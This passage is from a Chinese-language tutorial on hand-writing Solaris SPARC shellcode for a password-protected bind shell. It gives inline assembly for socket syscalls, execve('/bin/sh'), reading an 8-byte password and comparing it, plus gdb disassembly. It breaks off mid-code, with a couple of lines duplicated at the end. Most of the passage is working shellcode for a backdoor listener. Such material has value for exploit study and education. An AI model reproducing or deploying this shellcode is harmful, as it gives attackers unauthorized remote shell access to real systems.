這段代碼僅僅演示了很重要的兩個部分,一個是設置文本段可寫,一個是成功創建套
接字並阻塞在accept()系統調用處,一旦有入連接,程序就正常終止了。幸運的是,
在經歷了太多磨難後,SPARC沒有繼續為難我們,一切按照預想的發展。
編寫syscall( 6, s )、syscall( 6, c )以及syscall( 62, c, 9, 0 ):
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x06, %o0 ! 第一個參數6
ld [ %l7 ], %o1 ! 第二個參數s
clr %g1
ta 8
mov 0x3e, %o0 ! 第一個參數62
ld [ %l7 + 4 ], %o1 ! 第二個參數c
mov 0x09, %o2
clr %o3
clr %g1
ta 8
mov 0x06, %o0 ! 第一個參數6
ld [ %l7 + 4 ], %o1 ! 第二個參數c
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
還有一個更煩人的execve( name[0], name, 0 ),可以從
<< solaris for sparc下shellcode的編寫(三) >>中偷一些代碼過來:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
sethi 0xbd89a, %l4 ! sethi %hi(0x2f626800), %l4
or %l4, 0x16e, %l4
sethi 0xbdcda, %l5 ! sethi %hi(0x2f736800), %l5
and %sp, %sp, %o0 ! $o0 指向字符串/bin/sh
add %sp, 8, %o1 ! $o1 存放一個地址,該地址處存放了指向字符串的指針
xor %o2, %o2, %o2 ! %o2寄存器清零
add %sp, 16, %sp ! 留出存儲空間
std %l4, [%sp - 16] ! 存放字符串
st %o0, [%sp - 8] ! 存放字符串指針
st %g0, [%sp - 4] ! %g0總是為0
mov 0x3b, %g1 ! 將0x3b拷貝到%g1寄存器中
ta 8 ! 執行中斷指令ta 8(execve()完成)
");
} /* end of main */
--------------------------------------------------------------------------
最後研究一下syscall( 3, c, pass, 8 ):
--------------------------------------------------------------------------
0x1033c <main+392>: mov 3, %o0
0x10340 <main+396>: ld [ %o1 + 0x1b0 ], %o1
0x10344 <main+400>: sethi %hi(0x26400), %o3
0x10348 <main+404>: or %o3, 0x158, %o2 ! 0x26558 <pass>
0x1034c <main+408>: mov 8, %o3
0x10350 <main+412>: call 0x10fec <syscall>
0x10354 <main+416>: nop
--------------------------------------------------------------------------
分析後提煉如下:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
mov 0x03, %o0 ! 第一個參數3
ld [ %l7 + 4 ], %o1 ! 第二個參數c
add %l7, 8, %o2 ! 第三個參數pass
mov 0x08, %o3 ! 第四個參數8
clr %g1
ta 8
");
} /* end of main */
--------------------------------------------------------------------------
本以為這就是最後了,猛然記起SPARC沒有repnz cmpsb指令。可以省點事的是我們強
制口令恰好8個字節,所以比較兩個usigned long即可。
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
("
read:
mov 0x03, %o0 ! 第一個參數3
ld [ %l7 + 4 ], %o1 ! 第二個參數c
add %l7, 8, %o2 ! 第三個參數pass
mov 0x08, %o3 ! 第四個參數8
clr %g1
mov 0x08, %o3 ! 第四個參數8
clr %g1